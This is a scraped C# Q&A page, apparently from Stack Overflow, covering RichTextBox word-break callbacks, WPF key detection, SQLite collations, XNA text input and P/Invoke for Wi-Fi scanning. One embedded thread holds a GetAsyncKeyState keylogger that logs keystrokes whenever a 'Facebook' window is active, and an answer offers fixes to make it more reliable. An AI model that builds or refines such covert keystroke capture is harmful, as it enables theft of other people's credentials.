Suppress line break in a RichTextBox at certain positions - c#

I need to suppress some linebreaks in a RichTextBox.
For example, consider d6+. There must not be a line break between 6 and +. Basically I'm looking for something like <nobr> in HTML.
So far, I've messed around with inserting \u+FEFF etc (which worked on some machines, but some showed vertical lines, maybe a font problem although windows standard font). I also tried to manipulate the rtf directly, i.e. box.rtf = ... with putting some \zwnbo in there, but I never seem to get it right.
Help much appreciated.

Yes, you can use all of the RichText API with your RichTextBox control.
You may be interested take a look at the following sites:
http://www.pinvoke.net/default.aspx/user32.sendmessage - how to send messages to windows using p/invoke.
You can use the Handle property of the RichTextBox to get the window handle of that control, and then send messages to it.
Also look at these include files shiped with SDK from Microsoft, thaty are not going to be used directly in C#, but these files constains all constants you may have to use, such as WB_ISDELIMITER, WB_CLASSIFY and others.
winuser.h
richedit.h
In the following example I
demonstrate how to use the APIs
provided.
EDIT:
This new sample has code marked as unsafe, but it is better because it does not suffer from the problem of single character string, since I can have a char* parameter and manipulate it. The old sample follows this one:
This is C# code, not C++... to compile it you will have to go to project options and mark the check-box to allow unsafe code to run.
Right click the project -> Properties (Alt+Enter) -> Build -> General -> Allow unsafe code (must be checked)
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace q6359774
{
class MyRichTextBox : RichTextBox
{
const int EM_SETWORDBREAKPROC = 0x00D0;
const int EM_GETWORDBREAKPROC = 0x00D1;
protected override void OnHandleCreated(EventArgs e)
{
base.OnHandleCreated(e);
this.Text = "abcdefghijklmnopqrstuvwxyz-abcdefghijklmnopqrstuvwxyz";
NewMethod();
}
unsafe private void NewMethod()
{
if (!this.DesignMode)
SendMessage(this.Handle, EM_SETWORDBREAKPROC, IntPtr.Zero, Marshal.GetFunctionPointerForDelegate(new EditWordBreakProc(MyEditWordBreakProc)));
}
[DllImport("User32.DLL")]
public static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
unsafe delegate int EditWordBreakProc(char* lpch, int ichCurrent, int cch, int code);
unsafe int MyEditWordBreakProc(char* lpch, int ichCurrent, int cch, int code)
{
const int WB_ISDELIMITER = 2;
const int WB_CLASSIFY = 3;
if (code == WB_ISDELIMITER)
{
char ch = *lpch;
return ch == '-' ? 0 : 1;
}
else if (code == WB_CLASSIFY)
{
char ch = *lpch;
var vResult = Char.GetUnicodeCategory(ch);
return (int)vResult;
}
else
{
var lpch2 = lpch;
// in this case, we must find the begining of a word:
for (int it = ichCurrent; it < cch; it++)
{
char ch = *lpch2;
if (it + 1 < cch && lpch2[0] == '-' && lpch2[1] != '-')
return it;
if (lpch2[0] == '\0')
return 0;
lpch2++;
}
}
return 0;
}
}
}
Old Sample Code
The sample consists of a class that inherits from RichTextBox and places a custom handler using EM_SETWORDBREAKPROC. This class will only break lines exactly when over '-' character. Not before, nor after.
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace q6359774
{
class MyRichTextBox : RichTextBox
{
const int EM_SETWORDBREAKPROC = 0x00D0;
const int EM_GETWORDBREAKPROC = 0x00D1;
protected override void OnHandleCreated(EventArgs e)
{
base.OnHandleCreated(e);
this.Text = "abcdefghijklmnopqrstuvwxyz-abcdefghijklmnopqrstuvwxyz";
if (!this.DesignMode)
SendMessage(this.Handle, EM_SETWORDBREAKPROC, IntPtr.Zero, Marshal.GetFunctionPointerForDelegate(new EditWordBreakProc(MyEditWordBreakProc)));
}
[DllImport("User32.DLL")]
public static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
delegate int EditWordBreakProc(string lpch, int ichCurrent, int cch, int code);
int MyEditWordBreakProc(string lpch, int ichCurrent, int cch, int code)
{
const int WB_ISDELIMITER = 2;
const int WB_CLASSIFY = 3;
if (code == WB_ISDELIMITER)
{
if (lpch.Length == 0 || lpch == null) return 0;
char ch = lpch[ichCurrent];
return ch == '-' ? 0 : 1;
}
else if (code == WB_CLASSIFY)
{
if (lpch.Length == 0 || lpch == null) return 0;
char ch = lpch[ichCurrent];
var vResult = Char.GetUnicodeCategory(ch);
return (int)vResult;
}
else
{
if (lpch.Length == 0 || lpch == null) return 0;
for (int it = ichCurrent; it < lpch.Length; it++)
{
char ch = lpch[it];
if (ch != '-') return it;
}
}
return 0;
}
}
}
It is just a draft, so you may have to further improve it, so you can achieve your goals.
Place the control in a windows form, and run.
Resize the window and see if this is what you want to do!
You will have to make the seeking of word boundaries... I didn't manage to make it work yet.

I'm not sure, but if RichTextBox is actually wrapping a Windows rich edit control, you might have some luck by reading this:
http://msdn.microsoft.com/en-us/library/hh270412%28v=vs.85%29.aspx
Or more specifically this:
http://msdn.microsoft.com/en-us/library/bb787877%28v=vs.85%29.aspx
I hope this helps.

Here's my solution (based on #Miguel Angelo, but modified and corrected a bit):
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
namespace MyNameSpace
{
public class SpaceBreakingRichTextBox : RichTextBox
{
const int EM_SETWORDBREAKPROC = 0x00D0;
const int EM_GETWORDBREAKPROC = 0x00D1;
protected override void OnHandleCreated(EventArgs e)
{
base.OnHandleCreated(e);
AddDelegate();
}
[DllImport("User32.DLL")]
public static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
unsafe delegate int EditWordBreakProc(char* lpch, int ichCurrent, int cch, int code);
EditWordBreakProc myDelegate;
unsafe private void AddDelegate()
{
if (!this.DesignMode)
{
myDelegate = new EditWordBreakProc(MyEditWordBreakProc);
SendMessage(this.Handle, EM_SETWORDBREAKPROC, IntPtr.Zero, Marshal.GetFunctionPointerForDelegate(myDelegate));
}
}
unsafe int MyEditWordBreakProc(char* lpch, int ichCurrent, int cch, int code)
{
const int WB_ISDELIMITER = 2;
const int WB_CLASSIFY = 3;
const int WB_MOVEWORDLEFT = 4;
const int WB_MOVEWORDRIGHT = 5;
const int WB_LEFTBREAK = 6;
const int WB_RIGHTBREAK = 7;
const int WB_LEFT = 0;
const int WB_RIGHT = 1;
if (code == WB_ISDELIMITER)
{
char ch = *lpch;
return ch == ' ' ? 1 : 0;
}
else if (code == WB_CLASSIFY)
{
char ch = *lpch;
var vResult = Char.GetUnicodeCategory(ch);
return (int)vResult;
}
else if (code == WB_LEFTBREAK)
{
for (int it = ichCurrent; it >= 0; it--)
{
if (lpch[it] == ' '/* && lpch2[1] != ' '*/)
{
if (it > 0 && lpch[it - 1] != ' ')
return it;
}
}
}
else if (code == WB_RIGHT)
{
for (int it = ichCurrent; ; it++)
{
if (lpch[it] != ' ')
return it;
}
}
else
{
// There might be more cases to handle (see constants)
}
return 0;
}
}
}
Note that you need to keep the delegate method around, or it will crash as it gets collected from the garbage collector (which was a pain to debug).
Basically, this subclass only breaks at spaces, which is good enough for my needs at the moment.

I've quickly tried this, it seems to work:
this.userControl.richTextBox1.LoadFile("C:\\test.rtf");
this.userControl.richTextBox1.Rtf = this.userControl.richTextBox1.Rtf.Replace(#"\par", String.Empty);
this.userControl.richTextBox1.SaveFile("C:\\test2.rtf", RichTextBoxStreamType.RichText);

Related

GetAsyncKeyState not capturing keys in right order

I Have the below code which captures key strokes if the Active Window Title contains "Facebook", however, when testing... i'm not getting the exact order of keys pressed and some keys get missed... what can i do to improve upon this?
For example: if i type "ALI" i will get "AIL" Printed out
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
static void Main(string[] args)
{
while (true)
{
string WindowTitle = GetActiveWindowTitle();
if (WindowTitle == null)
return;
if (WindowTitle.Contains("Facebook"))
{
for (int i = 0; i < 255; i++)
{
int state = GetAsyncKeyState(i);
if (state == 1 || state == -32767)
{
Console.WriteLine((Keys)i);
}
}
}
Thread.Sleep(1000);
}
}
private static string GetActiveWindowTitle()
{
const int chars = 256;
StringBuilder buff = new StringBuilder(chars);
IntPtr handle = GetForegroundWindow();
if (GetWindowText(handle, buff, chars) > 0)
{
return buff.ToString();
}
return null;
}
Reduce interval from 1s to 5ms for starters... Thread.Sleep(5);
And even with that,when you start typing really fast,keystrokes will still get permuted and\or missing,I'm not qualified enough to explain why. Btw,your intention is way too obvious,that's why nobody wants to answer your question.
Change these:
[DllImport("user32.dll")]
public static extern ushort GetAsyncKeyState(Int32 i);
and
if ((state & 0x0001) != 0 || (state & 0x8000) != 0 )
{
Console.WriteLine((Keys)i);
}
but unsure if it is going to work?

How to detect when (forward) slash key is pressed in OEM keys C#

I'm working on wpf c# application and I need to detect when user press "/" but I'm having trouble with finding " / " e.Key, I saw there is Key.OemBackslash and stuffs like that, but I can't find right event for " / " (forward slash) ...
Thanks guys,
Cheers
It should be Key.OemQuestion on a US keyboard. But on a Swedish keyboard it is D7 so it depends. The keys on the keyboard doesn't always produce the same character.
Depending on what you are trying to do you may be better off handling the PreviewTextInput event:
protected override void OnPreviewTextInput(TextCompositionEventArgs e)
{
base.OnPreviewTextInput(e);
if (e.Text == "/")
{
Debug.WriteLine("...");
}
}
You can the following methods (see this site) to get the character from the key.
protected override void OnPreviewKeyDown(KeyEventArgs e)
{
bool toUnicodeIsTrue=false;
char t = GetCharFromKey(e.Key, ref toUnicodeIsTrue);
if ( t == '/')
{
// do stuff
}
base.OnPreviewKeyDown(e);
}
public static char GetCharFromKey(System.Windows.Input.Key key, ref bool toUnicodeIsTrue)
{
toUnicodeIsTrue = true;
char ch = ' ';
// First, you need to get the VirtualKey code. Thankfully, there’s a simple class
// called KeyInterop, which exposes a static method VirtualKeyFromKey
// that gets us this information
int virtualKey = System.Windows.Input.KeyInterop.VirtualKeyFromKey(key);
//Then, we need to get the character. This is much trickier.
//First we have to get the keyboard state and then we have to map that VirtualKey
//we got in the first step to a ScanCode, and finally, convert all of that to Unicode,
//because .Net doesn’t really speak ASCII
byte[] keyboardState = new byte[256];
GetKeyboardState(keyboardState);
uint scanCode = MapVirtualKey((uint)virtualKey, MapType.MAPVK_VK_TO_VSC);
StringBuilder stringBuilder = new StringBuilder(2);
int result = ToUnicode((uint)virtualKey, scanCode, keyboardState, stringBuilder, stringBuilder.Capacity, 0);
switch (result)
{
case -1:
toUnicodeIsTrue = false;
break;
case 0:
toUnicodeIsTrue = false;
break;
case 1:
{
ch = stringBuilder[0];
break;
}
default:
{
ch = stringBuilder[0];
break;
}
}
return ch;
}
[System.Runtime.InteropServices.DllImport("user32.dll")]
public static extern bool GetKeyboardState(byte[] lpKeyState);
[System.Runtime.InteropServices.DllImport("user32.dll")]
public static extern uint MapVirtualKey(uint uCode, MapType uMapType);
public enum MapType : uint
{
MAPVK_VK_TO_VSC = 0x0,
MAPVK_VSC_TO_VK = 0x1,
MAPVK_VK_TO_CHAR = 0x2,
MAPVK_VSC_TO_VK_EX = 0x3,
}
[System.Runtime.InteropServices.DllImport("user32.dll")]
public static extern int ToUnicode(
uint wVirtKey,
uint wScanCode,
byte[] lpKeyState,
[System.Runtime.InteropServices.Out, System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr, SizeParamIndex = 4)]
StringBuilder pwszBuff,
int cchBuff,
uint wFlags);
}
My old Answer:
protected override void OnPreviewKeyDown(KeyEventArgs e)
{ //***
if (e.Key == Key.Oem2)
{
// do stuff
}
base.OnPreviewKeyDown(e);
}
Note that the name starts with "oem" (Original Equipment Manufacturer), which means the keyboard manufacturer is responsible for its functionality and it varies in local keyboards. So, you can set a break point in
{//***
line of my code and check e.Key property.

Implementing a custom collation in SQLite for WinRT

I'm trying to implement a custom collation in SQLite for Windows Runtime.
The create_collation method is implemented as follows:
SQLITE_API int sqlite3_create_collation(
sqlite3*,
const char *zName,
int eTextRep,
void *pArg,
int(*xCompare)(void*,int,const void*,int,const void*)
);
So far I have the following C# signature:
[DllImport("sqlite3", EntryPoint = "sqlite3_create_collation", CallingConvention = CallingConvention.Cdecl)]
public static extern int CreateCollation(IntPtr db, [MarshalAs(UnmanagedType.LPStr)] string name, int textRep, object state, Compare callback);
public delegate int Compare(object pCompareArg, int size1, IntPtr Key1, int size2, IntPtr Key2);
This is the implementation:
int i = CreateCollation(db, "unicode_nocase", SQLITE_UTF8, null, CompareMethod);
/* ... */
public static int CompareMethod(object o, int i1, IntPtr s1, int i2, IntPtr s2)
{
return string.Compare(Marshal.PtrToStringUni(s1), Marshal.PtrToStringUni(s2));
}
The application compiles without errors. The call to create_collation returns zero (SQLITE_OK), but if I use the collation in a statement the following error message is returned:
no such collation sequence: unicode_nocase
source reference: https://github.com/doo/SQLite3-WinRT/tree/master/SQLite3Component
Can somebody please help me?
Thank you!
After some time looking around inside Mono.Android.SQLite, which also uses the C implementation of SQLite, I found the solution:
The problem was that the call to sqlite3_create_collation has a void* parameter which I incorrectly defined as object in C# where it should be IntPtr.
I have posted the current implementation I have below. I partially reverse engineered the solution from the Mono implementation, which calls sqlite3_create_collation twice for every collation to be registered - once with the parameter eTextRep set to SQLITE_UTF16LE and a second time with SQLITE_UTF8. I could only imagine that this might help the SQLite core to find a fast implementation for different formats in which the string values are stored. However, these require different decoding when they are converted to C# strings.
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate int CompareCallback(IntPtr pvUser, int len1, IntPtr pv1, int len2, IntPtr pv2);
[DllImport("sqlite3", CallingConvention = CallingConvention.Cdecl)]
private static extern int sqlite3_create_collation(IntPtr db, byte[] strName, int nType, IntPtr pvUser, CompareCallback func);
private const int SQLITE_UTF8 = 1;
private const int SQLITE_UTF16LE = 2;
private const int SQLITE_UTF16BE = 3;
private const int SQLITE_UTF16 = 4; /* Use native byte order */
private const int SQLITE_ANY = 5; /* sqlite3_create_function only */
private const int SQLITE_UTF16_ALIGNED = 8; /* sqlite3_create_collation only */
public void Register(IntPtr db)
{
if (db == IntPtr.Zero)
throw new ArgumentNullException("db");
//create null-terminated UTF8 byte array
string name = Name;
var nameLength = System.Text.Encoding.UTF8.GetByteCount(name);
var nameBytes = new byte[nameLength + 1];
System.Text.Encoding.UTF8.GetBytes(name, 0, name.Length, nameBytes, 0);
//register UTF16 comparison
int result = sqlite3_create_collation(db, nameBytes, SQLITE_UTF16LE, IntPtr.Zero, CompareUTF16);
if (result != 0)
{
string msg = SQLite3.GetErrmsg(db);
throw SQLiteException.New((SQLite3.Result)result, msg);
}
//register UTF8 comparison
result = sqlite3_create_collation(db, nameBytes, SQLITE_UTF8, IntPtr.Zero, CompareUTF8);
if (result != 0)
{
string msg = SQLite3.GetErrmsg(db);
throw SQLiteException.New((SQLite3.Result)result, msg);
}
}
private string GetUTF8String(IntPtr ptr, int len)
{
if (len == 0 || ptr == IntPtr.Zero)
return string.Empty;
if (len == -1)
{
do
{
len++;
}
while (Marshal.ReadByte(ptr, len) != 0);
}
byte[] array = new byte[len];
Marshal.Copy(ptr, array, 0, len);
return Encoding.UTF8.GetString(array, 0, len);
}
private string GetUTF16String(IntPtr ptr, int len)
{
if (len == 0 || ptr == IntPtr.Zero)
return string.Empty;
if (len == -1)
{
return Marshal.PtrToStringUni(ptr);
}
return Marshal.PtrToStringUni(ptr, len / 2);
}
internal int CompareUTF8(IntPtr ptr, int len1, IntPtr ptr1, int len2, IntPtr ptr2)
{
return Compare(GetUTF8String(ptr1, len1), GetUTF8String(ptr2, len2));
}
internal int CompareUTF16(IntPtr ptr, int len1, IntPtr ptr1, int len2, IntPtr ptr2)
{
return Compare(GetUTF16String(ptr1, len1), GetUTF16String(ptr2, len2));
}

XNA player input process

I have a code that get player input for their name like this (yes, it old-fashioned one)
declare the variable:
bool hiScore = false;
string[] alphabet = new string[] { "_", "a", "b", "c", "d", "e", "f", "g", "h",
"i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w",
"x", "y", "z" };
int ltrCounter1, ltrCounter2, ltrCounter3, ltrCounter4, ltrCounter5;
string plyrNamePos1, plyrNamePos2, plyrNamePos3, plyrNamePos4, plyrNamePos5;
int letterPosition = 1;
and I make it zero at the beginning of the class
ltrCounter1 = 0;
ltrCounter2 = 0;
ltrCounter3 = 0;
ltrCounter4 = 0;
ltrCounter5 = 0;
plyrNamePos1 = alphabet[0];
plyrNamePos2 = alphabet[0];
plyrNamePos3 = alphabet[0];
plyrNamePos4 = alphabet[0];
plyrNamePos5 = alphabet[0]
and in the update() method I placed this code to grab the arrow keys and with them, change the letters.
keyboardState = Keyboard.GetState();
if (CheckKey(Keys.Up))
{
hiScoreUp();
}
else if (CheckKey(Keys.Down))
{
hiScoreDown();
}
if (CheckKey(Keys.Right))
{
letterPosition++;
if (letterPosition > 5)
{
letterPosition = 5;
}
}
else if (CheckKey(Keys.Left))
{
letterPosition--;
if (letterPosition < 1)
{
letterPosition = 1;
}
}
else if (CheckKey(Keys.Enter))
{
saveHighScores();
QuizScreen.score = 100;
ActionScreen.halaman = 1;
kembalikemenuutama = true;
}
and this method to change the letters
private void hiScoreUp()
{
switch (letterPosition)
{
case 1:
ltrCounter1++;
if (ltrCounter1 > 26)
{
ltrCounter1 = 0;
}
plyrNamePos1 = alphabet[ltrCounter1];
break;
case 2:
ltrCounter2++;
if (ltrCounter2 > 26)
{
ltrCounter2 = 0;
}
plyrNamePos2 = alphabet[ltrCounter2];
break;
case 3:
ltrCounter3++;
if (ltrCounter3 > 26)
{
ltrCounter3 = 0;
}
plyrNamePos3 = alphabet[ltrCounter3];
break;
case 4:
ltrCounter4++;
if (ltrCounter4 > 26)
{
ltrCounter4 = 0;
}
plyrNamePos4 = alphabet[ltrCounter4];
break;
case 5:
ltrCounter5++;
if (ltrCounter5 > 26)
{
ltrCounter5 = 0;
}
plyrNamePos5 = alphabet[ltrCounter5];
break;
}
}
private void hiScoreDown()
{
switch (letterPosition)
{
case 1:
ltrCounter1--;
if (ltrCounter1 < 0)
{
ltrCounter1 = 26;
}
plyrNamePos1 = alphabet[ltrCounter1];
break;
case 2:
ltrCounter2--;
if (ltrCounter2 < 0)
{
ltrCounter2 = 26;
}
plyrNamePos2 = alphabet[ltrCounter2];
break;
case 3:
ltrCounter3--;
if (ltrCounter3 < 0)
{
ltrCounter3 = 26;
}
plyrNamePos3 = alphabet[ltrCounter3];
break;
case 4:
ltrCounter4--;
if (ltrCounter4 < 0)
{
ltrCounter4 = 26;
}
plyrNamePos4 = alphabet[ltrCounter4];
break;
case 5:
ltrCounter5--;
if (ltrCounter5 < 0)
{
ltrCounter5 = 26;
}
plyrNamePos5 = alphabet[ltrCounter5];
break;
}
}
and this is how I draw it
hiScoreName = plyrNamePos1 + " " + plyrNamePos2 + " " + plyrNamePos3 + " " +
plyrNamePos4 + " " + plyrNamePos5;
if (gameTime.TotalGameTime.Milliseconds % 1000 < 500)
{
spriteBatch.DrawString(spriteFont, hiScoreName, new Vector2(350, 280),
Color.Blue);
}
what I want to ask is :
How I can make the active field of that input field blink?
with the current code, I only can make all of the field blink (using gameTime.TotalGameTime.Milliseconds % 1000 < 500 for the drawstring).
I'm using "_" to fill-in for space " ". And when the player name data saved, the "_" is also saved in the database. How can I make the "_" change to " ", when it saved to the outer source...?
How I can display an alert message to the player when they tried to save the player name with "_" character in all field...?
Can anyone help...?
Sorry if this quite long.
And thank you
Okay...
1)
Instead of displaying a string that consists of all the characters, you could draw individual characters next to each other
hiScoreName = plyrNamePos1 + plyrNamePos2 + plyrNamePos3 + plyrNamePos4 + plyrNamePos5;
int characterSpacing = 20; //might be more or less for you
for(int i=1; i<=5; i++){
if(i==letterposition){
if(gameTime.TotalGameTime.Miliseconds % 1000 < 500){
spriteBatch.DrawString(spriteFont, hiScoreName[i-1], new Vector(350 + (i-1)*characterSpacing, 280), Color.Blue);
}
}else{
spriteBatch.DrawString(spriteFont, hiScoreName[i-1], new Vector(350 + (i-1)*characterSpacing, 280), Color.Blue);
}
}
note: i just typed this code in here, never tested it so it might have some bugs :)
2)
You could use String.Replace() method.
String stringToSave = hiScoreName.Replace("_"," ");
3)
When you detect that all the characters are _, you should set a flag (a bool variable lets say) in your program that indicates that player tried to save as all _. Then in your draw method, you could display your message if this flag is set. When player then changes a character, the flag should be reset.
bool _invalidHiScoreName = false; //somewhere outside methods.
void SavePlayerScore(String hiScoreName, int score){
bool allUnderscore = true;
foreach(char c in hiScoreName){
if(c!='_')
allUnderscore = false;
}
if(allUnderscore){
_invalidHiScoreName = true;
}else{
String stringToSave = hiScoreName.Replace("_"," "); //from step 2)
//your saving logic.
}
}
Then, in your draw method, between spriteBatch.Begin() and spriteBatch.End() you could put:
if(_invalidHiScoreName){
spriteBatch.DrawString(spriteFont, "Hi Score Name must have at least one character!", Vector2.Zero, Color.White); //Might wanna position it.
}
Don't forget to reset the flag _invalidHiScoreName=false; when a character is changed!
Other than that, I could tell you that this is a really bad way to get input and suggest other more simpler/better ways, but that doesn't really answer the question and I also hate it when people don't answer the question :)
Have fun.
Here is an input solution that is based on typing, rather than selecting characters.
This code uses native win32 API to detect keystrokes (control characters included).
Code was provided by Promit, a gamedev.net user, in this post.
Create a new class in your project, name it CharEventArgs, and replace everything inside with the following (code from the link above):
using System;
using System.Runtime.InteropServices;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Input;
namespace EventInput
{
public class CharacterEventArgs : EventArgs
{
private readonly char character;
private readonly int lParam;
public CharacterEventArgs(char character, int lParam)
{
this.character = character;
this.lParam = lParam;
}
public char Character
{
get { return character; }
}
public int Param
{
get { return lParam; }
}
public int RepeatCount
{
get { return lParam & 0xffff; }
}
public bool ExtendedKey
{
get { return (lParam & (1 << 24)) > 0; }
}
public bool AltPressed
{
get { return (lParam & (1 << 29)) > 0; }
}
public bool PreviousState
{
get { return (lParam & (1 << 30)) > 0; }
}
public bool TransitionState
{
get { return (lParam & (1 << 31)) > 0; }
}
}
public class KeyEventArgs : EventArgs
{
private Keys keyCode;
public KeyEventArgs(Keys keyCode)
{
this.keyCode = keyCode;
}
public Keys KeyCode
{
get { return keyCode; }
}
}
public delegate void CharEnteredHandler(object sender, CharacterEventArgs e);
public delegate void KeyEventHandler(object sender, KeyEventArgs e);
public static class EventInput
{
/// <summary>
/// Event raised when a character has been entered.
/// </summary>
public static event CharEnteredHandler CharEntered;
/// <summary>
/// Event raised when a key has been pressed down. May fire multiple times due to keyboard repeat.
/// </summary>
public static event KeyEventHandler KeyDown;
/// <summary>
/// Event raised when a key has been released.
/// </summary>
public static event KeyEventHandler KeyUp;
delegate IntPtr WndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
static bool initialized;
static IntPtr prevWndProc;
static WndProc hookProcDelegate;
static IntPtr hIMC;
//various Win32 constants that we need
const int GWL_WNDPROC = -4;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_CHAR = 0x102;
const int WM_IME_SETCONTEXT = 0x0281;
const int WM_INPUTLANGCHANGE = 0x51;
const int WM_GETDLGCODE = 0x87;
const int WM_IME_COMPOSITION = 0x10f;
const int DLGC_WANTALLKEYS = 4;
//Win32 functions that we're using
[DllImport("Imm32.dll")]
static extern IntPtr ImmGetContext(IntPtr hWnd);
[DllImport("Imm32.dll")]
static extern IntPtr ImmAssociateContext(IntPtr hWnd, IntPtr hIMC);
[DllImport("user32.dll")]
static extern IntPtr CallWindowProc(IntPtr lpPrevWndFunc, IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
static extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);
/// <summary>
/// Initialize the TextInput with the given GameWindow.
/// </summary>
/// <param name="window">The XNA window to which text input should be linked.</param>
public static void Initialize(GameWindow window)
{
if (initialized)
throw new InvalidOperationException("TextInput.Initialize can only be called once!");
hookProcDelegate = new WndProc(HookProc);
prevWndProc = (IntPtr)SetWindowLong(window.Handle, GWL_WNDPROC,
(int)Marshal.GetFunctionPointerForDelegate(hookProcDelegate));
hIMC = ImmGetContext(window.Handle);
initialized = true;
}
static IntPtr HookProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
{
IntPtr returnCode = CallWindowProc(prevWndProc, hWnd, msg, wParam, lParam);
switch (msg)
{
case WM_GETDLGCODE:
returnCode = (IntPtr)(returnCode.ToInt32() | DLGC_WANTALLKEYS);
break;
case WM_KEYDOWN:
if (KeyDown != null)
KeyDown(null, new KeyEventArgs((Keys)wParam));
break;
case WM_KEYUP:
if (KeyUp != null)
KeyUp(null, new KeyEventArgs((Keys)wParam));
break;
case WM_CHAR:
if (CharEntered != null)
CharEntered(null, new CharacterEventArgs((char)wParam, lParam.ToInt32()));
break;
case WM_IME_SETCONTEXT:
if (wParam.ToInt32() == 1)
ImmAssociateContext(hWnd, hIMC);
break;
case WM_INPUTLANGCHANGE:
ImmAssociateContext(hWnd, hIMC);
returnCode = (IntPtr)1;
break;
}
return returnCode;
}
}
}
In your Game1.cs (or whatever you decided to name it), put the using EventInput; on top.
In your Initialize method, add the following:
EventInput.EventInput.Initialize(this.Window);
EventInput.EventInput.CharEntered += new CharEnteredHandler(EventInput_CharEntered);
In your Game1.cs (again, what you named it), add the relevant handler:
void EventInput_CharEntered(object sender, CharacterEventArgs e)
{
if (char.IsControl(e.Character))
{
switch (e.Character)
{
case '\b':
if (hiScoreName.Length > 0)
{
hiScoreName = hiScoreName.Substring(0, hiScoreName.Length - 1);
}
break;
case '\r':
//enter
break;
}
}
else
{
hiScoreName += e.Character;
}
}
Finally, in your Draw() method, use similar code to draw the string:
spriteBatch.Begin();
spriteBatch.DrawString(spriteFont, hiScoreName, new Vector2(20f, 20f), Color.Black);
spriteBatch.End();
Summary:
This pretty much invalidates everything else in this topic (including your code, and everything I posted in the other answer), because it uses a different way to get input from the user.
Once you paste the code in CharEventArgs.cs, you can safely close it and never open it again, it will do what it should.
The main point where you handle input is your event handler EventInput_CharEntered, where you check what character is pressed, and act upon it. You should play with this method, add your own code so that you can for example use it for hiScoreName input in one case, and use it for some other text input in another place.
You can see in the event handler, i commented the //enter, so you could let's say put a function call to handle saving the hiScoreName there!
Also, notice that CharacterEventArgs e contains information about additional modifiers, such as Alt, repeat count, etc.. You can use those to add additional logic to your program. Useful read about how windows processes keystrokes on this msdn link (very comprehensible).
You could also register the KeyPressed and KeyReleased events on the EventInput class if you need them.
I tested the code I posted here, and it works for me!
Have fun!
EDIT:
If you want to use Unicode characters (that are relevant to your language, i.e. I use ščćžđ), you need to call the DLLImports like so:
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
So you have to change all the DllImport calls to include CharSet = CharSet.Unicode.
Also, don't forget to extend the range on your spritefont to include those other characters you might want to display.

Pinvoke C# from C++ dll using DLLimport in C#

C++ Function header in DLL this two function to get some information about the wifi stations around me using win mobile 6.5 device and i need to invoke them to use them in C# code
// (adapter names , pointer to destination buffer ,and the size , returned structs)
bool __declspec(dllexport) GetBBSIDs(LPWSTR pAdapter, struct BSSIDInfo *pDest, DWORD &dwBufSizeBytes, DWORD &dwReturnedItems);
bool __declspec(dllexport) RefreshBSSIDs(LPWSTR pAdapter);
bool __declspec(dllexport) GetAdapters(LPWSTR pDest, DWORD &dwBufSizeBytes);
C# sample
[DllImport(#"\Storage Card\Work\Beaad.dll", EntryPoint = "GetAdapters", SetLastError = true)]
public static extern bool getAdapters([MarshalAs(UnmanagedType.LPWStr)] String buf, ref UInt32 dwBufSizeBytes);
[DllImport(#"\Storage Card\Work\Beaad.dll", EntryPoint = "RefreshBSSIDs", SetLastError = true)]
public static extern bool refreshBSSIDs([MarshalAs(UnmanagedType.LPWStr)]String buf);
[DllImport(#"\Storage Card\Work\Beaad.dll", EntryPoint = "GetBBSIDs", SetLastError = true)]
public static extern bool getBBSIDs([MarshalAs(UnmanagedType.LPWStr)]String buf,BSSIDInfo [] nfo, ref UInt32 dwBufSizeBytes, ref UInt32 dwReturnedItems);
[StructLayout(LayoutKind.Sequential,CharSet=CharSet.Auto)]
public struct BSSIDInfo
{
public byte[] BSSID; //mac
public char[] SSID;
public BSSIDInfo(byte[]bs,char[] ss)
{
this.RSSI = 0;
this.Infastructure = 0;
this.Channel = 0;
this.Auth = 0;
bs = new byte[6];
ss = new char[32];
BSSID = bs;
SSID = ss;
}
public int RSSI;
public int Channel;
public int Infastructure;
public int Auth;
}
public static byte[] StrToByteArray(string str)
{
System.Text.UTF8Encoding encoding = new System.Text.UTF8Encoding();
return encoding.GetBytes(str);
}
public static char[] c = new char[1024];
string buf = new string(c);
public void button1_Click(object sender, EventArgs e)
{
BSSIDInfo[] nfo = new BSSIDInfo[128];
byte[] bytee=StrToByteArray(buf);
UInt32 dwsize= new UInt32();
UInt32 dwTmp = new UInt32();
UInt32 dwCount = new UInt32();
dwTmp = Convert.ToUInt32(Marshal.SizeOf(typeof(BSSIDInfo)) * nfo.Length);
dwCount =0;
dwsize=Convert.ToUInt32(bytee.Length);
if (false == getAdapters(buf,ref dwsize) || dwsize == 0)
{
label1.Text = "no adabters";
}
else
{
String [] strList=new String[15];
if (buf.Contains(',') == false)// one adapter
{
textBox1.Text = buf;
}
else
{
strList = buf.Split(',');
for (int i = 0; i < strList.Length; i++)
{
textBox1.Text+= strList[i]+Environment.NewLine;
}
}
if (refreshBSSIDs(buf) && getBBSIDs(buf, nfo, ref dwTmp, ref dwCount) && dwCount > 0)
{
//refreshBSSIDs(buf) &&
for (int i = 0; i < dwCount; i++)
{
textBox2.Text += nfo.GetValue(i).ToString() + Environment.NewLine;
}
}
else
{
//make another thing
}
}
}
and when i put this dll on the mobile and the C# app.exe the first function that named as Getadapters(..) return to me the name of the adapter in the first textbox1 then the app stopped and give me not supported exception when the mobile tries to execute the other two function that named as refreshBSSID() and getBSSIDs() so what is the problem ? or is there another solution to get this information (BSSID ,SS ..etc) ?
